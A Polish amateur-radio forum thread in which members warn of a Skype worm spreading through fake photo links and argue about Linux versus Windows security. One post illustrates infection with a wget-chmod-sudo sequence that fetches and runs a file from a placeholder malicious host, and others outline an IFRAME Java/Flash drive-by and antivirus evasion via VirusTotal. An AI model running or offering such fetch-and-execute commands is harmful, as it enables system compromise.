Forum Krótkofalarskie

Dostaję coraz więcej informacji na Skype z linkiem.
Wiem z wcześniejszych informacji, że zaatakowany przez wirusa, pleni się potężnie.
Nie otwierajcie linków do zdjęć, zazwyczaj .jpg, ale są też photo, img

infekcja jest niebezpieczna i kończy się załamaniem systemu

ja jeszcze żyję...ale nie wiem jak długo
jeżeli ktoś otrzymał linki do obrazka z moim znakiem sp5mnj - zapewniam to nie ja

edit:


Andrzej

Zgadza się, ja też kilkakrotnie dostałem taką "paskudę", niby od kogoś z mej listy kontaktów z linkiem i "niewinnie" brzmiącym pytaniem;"Czy to naprawdę są Twoje zdjęcia?", a w linku wystepuje mój znak!
Absolutnie tego nie otwieram, bo już od przylaciół w DL i EA dostałem wcześniej ostrzeżenie!

Jak się ma słabego antywirusa to draństwo zagnieździ się w komputerze, i rozsyła do innych znajomych ze SKYPE.
COMODO INTERNET SECURITY radzi sobie z tą paskudą dobrze.

Rysiek sp3aok Lubin

... tez cos takie do mnie dotarlo ale OS tego nie przyjmuje.
Od wielu lat mialem LINUX- a i nie wiem co to jest WIRUS.

Potwierdzam!
Ja i moich dwóch kolegów też dostało taki "prezent" Na razie efektów nie widać, ale nigdy nie wiadomo co będzie dalej.Uważajcie i nie otwierajcie, komuś się nudzi.
Jurek

Witam!

To, że te linki przyszły od "Krzysztofa" oznacza, że jego komputer został już zainfekowany i rozsyła to do wszystkich znajomych ze swojej listy skype.

Też dostałem takie wiadomości od kilku osób. Plik, który się pobiera po naciśnięciu na podane liki ma rozszerzenie "exe" i jest to w/w wirus.

Po uruchomieniu pobranego pliku infekuje on komputer i używa skype do rozsyłania się dalej pod pozorem wysyłki zdjęć.

To Ci ciekawostka. Wydaje mi się, że jak ktoś ma Windowsa 7 lub 8 to chyba nie pójdzie tak łatwo. Sama kwestia uprawnień programów została zmodyfikowana od czasów XP i starszych. A kolega który używa systemów uniksowych niech nie żyje w przekonaniu że na uniksy nie ma wirusów

mam Windowsa 7 i kilka dni temu też złapałem
potrzebny jest program antywirusowy
od 2 dni już mi pilnuje i nie złapałem na razie nic
Pożyjemy - zobaczymy

No tak ale tu dochodzi jeszcze jedna ważna kwestia... Kto otwiera zdjęcia które mają rozszerzenie exe

Tak Stanisławie, takie są właśnie przyczyny wierzenia w stereotypy o Linuksach Owszem wirusy są mniej popularne bo i sama ilość użytkowników mówi za siebie. Bardziej się opłaca wykorzystać dziurę lub nieuwagę użytkownika pod Windowsem bo jest to system póki co nr. 1 pod względem ilości użytkowników

Tak mi się wydaje...a było nie przechodzić na wersje 6...ja, mam niższą

Andrzej

SQ6KOJ pisze:

Tak Stanisławie, takie są właśnie przyczyny wierzenia w stereotypy o Linuksach Owszem wirusy są mniej popularne bo i sama ilość użytkowników mówi za siebie. Bardziej się opłaca wykorzystać dziurę lub nieuwagę użytkownika pod Windowsem bo jest to system póki co nr. 1 pod względem ilości użytkowników

1) Polecam zapoznać się z konkursem pwn2own - to nie jest konkurs dla "pryszczersów"
2) Wirusy na Linuksa są jak Yeti, każdy słyszał, nikt nie widział.
3) Domyślnie każdy ściągnięty plik nie ma parametru wykonywalności więc nie można go uruchomić.
4) AppArmor (standardowo stosowane np w Ubuntu), SELinux - powodzenia w obejściu SELinux, jest to wyższa szkoła jazdy.

Są znane przypadki kiedy to część komputerów Linuksowych została zarażona, takie przypadki to chociażby wygaszacz ekranu z gnome-looks.org. Informacja o takim niebezpieczeństwie rozchodzi się "szybciej niż w służbach bezpieczeństwa".
Repozytoria są dobrze chronione (co nie oznacza możliwości zainfekowania softu w repozytoriach). Nim coś trafi do oficjalnego repo przechodzi wiele ścieżek przez wiele użytkowników. Domyślnie użytkownik nie pracuje na prawach roota (w przeciwieństwie do Windowsa). Szybkość łatania dziur w Linuksie jest o wiele szybsza niż pod M$. M$ poza standardowym planem aktualizacyjnym raz na ruski rok przy bardzo krytycznej luce wystawi łatki w usłudze "Windows update".

Wnioskując, aby wirus się dostał na Linuksa musimy wykonać następujące polecenia:

wget http://zlastrona.pl/wirus
chmod +x wirus
sudo ./wirus

Linuksa używam od około 2000 roku, nie tylko hobbistycznie ale i zawodowo. Moja dziewczyna również używa Linuksa (jest nie techniczna). Rodzice tak samo. Żadnych kłopotów mimo tego, że user robi co chce i jak chce.

Na pewno tą wypowiedzią zrobię burzę w szklance wody ale proszę rozróżnić następujące pojęcia, wirus i trojan. Ten pierwszy ma za zadanie rozpowszechniać się sam. Więc retorycznie pytając, czy wirusy (patrząc na zabezpieczenia systemów Linuksowych) istnieją?
Oczywiście są metody aby użytkownika skusić do uruchomienia czegoś (przynajmniej bez roota aby program, chcący się zwać wirusem, zaczął działać w systemie) ale różnice pomiędzy dystrybucjami powodują większy kłopot w znalezieniu dziury w systemie (chociażby poprzez bufferoverflow).

Kończąc swoją wypowiedź, wirusy na Linuksa jak najbardziej mogłyby być popularne (patrz zestawienie top500) ale zróżnicowanie i wbudowane mechanizmy obronne robią swoje (SELinux jest tworzone przez NSA. Jeżeli trzeba to nawet po VNC mogę wystawić np. Ubuntu 12.10 i dać konto (bez roota), powodzenia w zainfekowaniu systemu - nie kolega pierwszy i nie ostatni będzie tak pisał zamiast przedstawić dowód (do dowodów nie zaliczam włamanie się do repo i zainfekowanie tylko kilku tysięcy maszyn).
Coś o SELinux - http://www.nsa.gov/research/selinux/
Coś o AppArmor (standardowe np. dla Ubuntu czy Fedory) http://en.wikipedia.org/wiki/AppArmor

Ps. Czekam na dowody, gdybanie proszę zostawić na spotkanie przy piwku czy kawce bo chętnie porozmawiam na ten temat, wszak nie jestem nieomylny lecz dążę do poszerzenia jeszcze bardziej mojej wiedzy.

sp8jz pisze:

Ja tam nic nie popieram wiem tylko, że kurestwo zdolne przejąć login i hasło zablokowało mi właśnie sp8jz.strefa.pl

tym bardziej, że http://niebezpiecznik.pl/post/uwaga-mozna-przejac-dowolne-konto-skype-wystarczy-znac-adres-e-mail-ofiary

Ot domyślam się

To już stara dziura którą Microsoft/Skype załatał. Na szczęście mieli bardzo szybki czas reakcji od wypłynięcia dziury na światło dzienne.

Jest jeszcze dziura w Javie. Póki co nie ma na nią łaty. Da się w ten sposób zainfekować w pełni zaktualizowane Windows 7 i 8, praktycznie niezależnie od przeglądarki, ale z Internet Explorerem najłatwiej (jak zwykle). Do tego celu też można użyć skype'a, link będzie wyglądał jako JPG i strona również, ale w ukrytej ramce IFRAME będzie link do apleciku Javy lub obiektu Flash. Chwila moment i masz Windowsy zarażone. W ten sam sposób da się zarazić i ogryzka (do roota włącznie) a na Ubuntu wykonać dowolny z zainstalowanych programów, tyle, że bez podwyższonych uprawnień (czyli w sumie niewiele można zrobić).

Oto cytat z tekstu o 12 mitach w IT: Raimund Genes, CTO firmy Trend Micro, wyjaśnia: "Firmy korzystają z antywirusów, dlatego że muszą. W przeciwnym razie wyniki audytów byłyby dla nich niszczące. Oprogramowanie antywirusowe nie może skutecznie ochronić przed kierowanym, specjalizowanym atakiem, gdyż napastnicy tak przygotują kod, by antywirus go nie wyłapał".
Do przygotowania takiego ataku wystarczy instalacja oprogramowania różnych firm w testowych środowiskach, ale o wiele szybciej można zrealizować to zadanie za pomocą strony VirusTotal. Omijanie złośliwego oprogramowania przy dzisiejszych narzędziach nie wykracza poza możliwości przeciętnego programisty.
Koniec cytatu. Raimunda znam osobiście od pięciu lat i ten facet naprawdę wie co mówi.

edit - Zarówno Java, jak i Flash mają bogatą historię, sporo komputerów ma ten soft nieaktualny i skutki są takie, jak widać. Skype też ma za uszami dystrybucję śmieci. O problemach z bezpieczeństwem tej aplikacji głośno było od dawna, oto przykładowy tekst na ten temat z 2008r. Między innymi dlatego co mądrzejsze firmy blokują ruch Skype w swoich sieciach a odpalenie tego komunikatora w wielu korporacjach wywołuje alarm - wystarczy poczytać dlaczego.

Trzeba podziękować wujkowi Billowi za domyślne ukrywanie rozszerzeń znanych plików.... I kilka innych "ułatwień" dla ciemnego luda oraz szkodników. Infekcja szkodliwa, ale rozprzestrzenia się niczym "wirus Albański"

SP95094KA pisze:


Dostałem dzisiaj wiadomość że mam zmienić Javę na najnowszą, co oczywiście uczyniłem.
A swoja drogą
Kto dokonywał uninstal Javy. I usuwał wszystkie "korzonki" po tej Javie ?

Pozdro

Domyślnie Java sprawdza czy ma aktualizacje i potrafi się sama aktualizować, czyżby kolega używał wtedy jakiejś antycznej Javy która takowej opcji nie posiada?
Przepraszam, że się tak przyczepiłem ale z mojego doświadczenia zarażone komputery z którymi miałem do czynienia osobiście lub nie (np czyściłem zarażoną stronę gdyż login/hasło do ftp zostały wykradzione) miały bardzo często nieaktualne oprogramowanie.

sp8jz pisze:

Ja tam nic nie popieram wiem tylko, że kurestwo zdolne przejąć login i hasło zablokowało mi właśnie sp8jz.strefa.pl
(...)

Ostrzeżenie za bluzganie na forum, również we wcześniejszych postach. To nie onet.

sp8jz pisze:

Ja tam nic nie popieram wiem tylko, że kurestwo zdolne przejąć login i hasło zablokowało mi właśnie sp8jz.strefa.pl
(...)

Ostrzeżenie za bluzganie na forum, również we wcześniejszych postach. To nie onet.

Nie zauważyłem u siebie tego zjawiska. Do pracy w sieci używam wyłącznie Linuxa.

A skajpaj nie ostrzega przed otwieraniem linków tak jak GG ?